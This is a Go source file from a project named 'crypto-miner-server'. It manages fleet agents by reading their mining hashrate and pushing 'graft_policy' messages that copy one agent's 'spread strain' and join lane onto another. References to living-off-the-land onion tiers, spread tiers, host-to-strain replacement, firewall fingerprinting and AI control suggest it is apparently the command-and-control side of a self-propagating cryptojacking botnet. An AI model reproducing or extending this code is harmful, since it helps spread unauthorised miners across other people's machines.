Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
156 lines
4.6 KiB
Go
156 lines
4.6 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"strings"
|
|
"time"
|
|
|
|
fleetai "crypto-miner-server/internal/ai"
|
|
"crypto-miner-server/internal/strategy"
|
|
)
|
|
|
|
// ServerPolicy returns the live Calibrate policy snapshot for REST handlers.
|
|
func (h *WSHub) ServerPolicy() ServerPolicy {
|
|
if h == nil {
|
|
return ServerPolicy{}
|
|
}
|
|
return h.serverPolicySnapshot()
|
|
}
|
|
|
|
// AgentJoinLane returns the last stats-reported join lane for an agent.
|
|
func (h *WSHub) AgentJoinLane(agentID string) string {
|
|
if h == nil {
|
|
return ""
|
|
}
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
if telem, ok := h.agentLiveTelemetry[agentID]; ok {
|
|
if lane, ok := telem["join_lane"].(string); ok {
|
|
return strings.TrimSpace(lane)
|
|
}
|
|
}
|
|
return ""
|
|
}
|
|
|
|
// AgentMiningHashrate returns live mining hashrate from the last stats tick.
|
|
func (h *WSHub) AgentMiningHashrate(agentID string) float64 {
|
|
if h == nil {
|
|
return 0
|
|
}
|
|
h.mu.RLock()
|
|
defer h.mu.RUnlock()
|
|
if telem, ok := h.agentLiveTelemetry[agentID]; ok {
|
|
if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 {
|
|
return hr
|
|
}
|
|
if hr, ok := telem["hashrate_15s"].(float64); ok && hr > 0 {
|
|
return hr
|
|
}
|
|
}
|
|
return 0
|
|
}
|
|
|
|
// GraftPolicyForAgent builds graft_policy for auth when a pending graft exists in SQLite.
|
|
func (h *WSHub) GraftPolicyForAgent(agentID string) (*strategy.GraftPolicy, bool) {
|
|
if h == nil || h.db == nil {
|
|
return nil, false
|
|
}
|
|
ag, err := h.db.GetAgent(agentID)
|
|
if err != nil || ag == nil {
|
|
return nil, false
|
|
}
|
|
if strings.TrimSpace(ag.GraftTier) == "" || ag.GraftApprovedAt == nil {
|
|
return nil, false
|
|
}
|
|
policy := h.serverPolicySnapshot()
|
|
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
|
|
return nil, false
|
|
}
|
|
graft := strategy.GraftSource{
|
|
GraftSourceStrain: ag.GraftSourceStrain,
|
|
GraftTier: ag.GraftTier,
|
|
}
|
|
targetOrder := policy.LotlOnionTiers
|
|
if len(targetOrder) == 0 {
|
|
targetOrder = fleetai.DefaultSpreadTiers()
|
|
}
|
|
out := strategy.BuildGraftPolicy(graft, targetOrder, *ag.GraftApprovedAt)
|
|
return &out, true
|
|
}
|
|
|
|
// PushGraftPolicy sends graft_policy to a connected agent (auth-equivalent policy push).
|
|
func (h *WSHub) PushGraftPolicy(agentID string, graft strategy.GraftPolicy) error {
|
|
if h == nil {
|
|
return fmt.Errorf("hub unavailable")
|
|
}
|
|
body, err := json.Marshal(graft)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return h.SendToAgent(agentID, Message{Type: "graft_policy", Payload: body})
|
|
}
|
|
|
|
// ApproveFleetGraft splices source winner onto target; used by REST and court executor.
|
|
func (h *WSHub) ApproveFleetGraft(sourceID, targetID string) (strategy.GraftPolicy, error) {
|
|
if h == nil || h.db == nil {
|
|
return strategy.GraftPolicy{}, fmt.Errorf("hub unavailable")
|
|
}
|
|
policy := h.serverPolicySnapshot()
|
|
if !strategy.GraftEnabled(policy.AIControlEnabled, policy.FleetRolesEnabled) {
|
|
return strategy.GraftPolicy{}, fmt.Errorf("graft requires ai_control_enabled and fleet_roles_enabled")
|
|
}
|
|
source, err := h.db.GetAgent(sourceID)
|
|
if err != nil || source == nil {
|
|
return strategy.GraftPolicy{}, fmt.Errorf("source agent not found")
|
|
}
|
|
target, err := h.db.GetAgent(targetID)
|
|
if err != nil || target == nil {
|
|
return strategy.GraftPolicy{}, fmt.Errorf("target agent not found")
|
|
}
|
|
joinLane := h.AgentJoinLane(sourceID)
|
|
if joinLane == "" {
|
|
joinLane = strings.TrimSpace(source.JoinLane)
|
|
}
|
|
if joinLane == "" {
|
|
return strategy.GraftPolicy{}, fmt.Errorf("source agent has no tier-success join_lane")
|
|
}
|
|
hr := h.AgentMiningHashrate(targetID)
|
|
if hr <= 0 {
|
|
hr = target.MiningHashrate
|
|
}
|
|
if hr <= 0 {
|
|
hr = target.Hashrate15s
|
|
}
|
|
if !strategy.GraftMetabolismGatePassed(hr, policy.HashrateGateHPS) {
|
|
return strategy.GraftPolicy{}, fmt.Errorf("target hashrate below metabolism gate")
|
|
}
|
|
|
|
tierOrder := fleetai.DefaultSpreadTiers()
|
|
fp := strategy.FingerprintFromAuth(source.Platform, source.IP, source.FirewallDomain != nil && *source.FirewallDomain)
|
|
if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil {
|
|
pheno := strategy.PhenotypeFromStored(*stored)
|
|
if len(pheno.TierOrder) > 0 {
|
|
tierOrder = pheno.TierOrder
|
|
}
|
|
}
|
|
peak := h.AgentMiningHashrate(sourceID)
|
|
if peak <= 0 {
|
|
peak = source.MiningHashrate
|
|
}
|
|
graft := strategy.BuildGraftSourceFromAgent(
|
|
source.ID, source.Name, joinLane, source.SpreadStrain, tierOrder, peak,
|
|
)
|
|
approvedAt := time.Now().UTC()
|
|
if err := h.db.UpdateAgentGraft(targetID, graft.GraftSourceStrain, graft.GraftTier, approvedAt); err != nil {
|
|
return strategy.GraftPolicy{}, err
|
|
}
|
|
targetOrder := policy.LotlOnionTiers
|
|
if len(targetOrder) == 0 {
|
|
targetOrder = fleetai.DefaultSpreadTiers()
|
|
}
|
|
out := strategy.BuildGraftPolicy(graft, targetOrder, approvedAt)
|
|
_ = h.PushGraftPolicy(targetID, out)
|
|
return out, nil
|
|
}
|